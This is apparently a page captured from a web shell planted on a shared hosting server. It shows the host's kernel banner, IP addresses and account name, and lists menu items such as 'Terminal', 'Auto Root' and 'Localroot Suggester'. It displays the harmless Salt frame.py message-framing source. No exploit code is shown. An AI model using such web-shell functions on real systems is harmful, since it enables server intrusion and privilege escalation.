Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.6 /
site-packages /
salt /
transport /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
mixins
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
1.42
KB
-rw-r--r--
2022-05-16 09:16
client.py
7.52
KB
-rw-r--r--
2022-05-16 09:16
frame.py
2.76
KB
-rw-r--r--
2022-05-16 09:16
ipc.py
27.31
KB
-rw-r--r--
2022-05-16 09:16
local.py
1.37
KB
-rw-r--r--
2022-05-16 09:16
server.py
3.15
KB
-rw-r--r--
2022-05-16 09:16
tcp.py
64.04
KB
-rw-r--r--
2022-05-16 09:16
zeromq.py
51.05
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" Helper functions for transport components to handle message framing """ import salt.utils.msgpack def frame_msg(body, header=None, raw_body=False): # pylint: disable=unused-argument """ Frame the given message with our wire protocol """ framed_msg = {} if header is None: header = {} framed_msg["head"] = header framed_msg["body"] = body return salt.utils.msgpack.dumps(framed_msg) def frame_msg_ipc(body, header=None, raw_body=False): # pylint: disable=unused-argument """ Frame the given message with our wire protocol for IPC For IPC, we don't need to be backwards compatible, so use the more efficient "use_bin_type=True" on Python 3. """ framed_msg = {} if header is None: header = {} framed_msg["head"] = header framed_msg["body"] = body return salt.utils.msgpack.dumps(framed_msg, use_bin_type=True) def _decode_embedded_list(src): """ Convert enbedded bytes to strings if possible. List helper. """ output = [] for elem in src: if isinstance(elem, dict): elem = _decode_embedded_dict(elem) elif isinstance(elem, list): elem = _decode_embedded_list(elem) elif isinstance(elem, bytes): try: elem = elem.decode() except UnicodeError: pass output.append(elem) return output def _decode_embedded_dict(src): """ Convert enbedded bytes to strings if possible. Dict helper. """ output = {} for key, val in src.items(): if isinstance(val, dict): val = _decode_embedded_dict(val) elif isinstance(val, list): val = _decode_embedded_list(val) elif isinstance(val, bytes): try: val = val.decode() except UnicodeError: pass if isinstance(key, bytes): try: key = key.decode() except UnicodeError: pass output[key] = val return output def decode_embedded_strs(src): """ Convert enbedded bytes to strings if possible. This is necessary because Python 3 makes a distinction between these types. This wouldn't be needed if we used "use_bin_type=True" when encoding and "encoding='utf-8'" when decoding. Unfortunately, this would break backwards compatibility due to a change in wire protocol, so this less than ideal solution is used instead. """ if isinstance(src, dict): return _decode_embedded_dict(src) elif isinstance(src, list): return _decode_embedded_list(src) elif isinstance(src, bytes): try: return src.decode() except UnicodeError: return src else: return src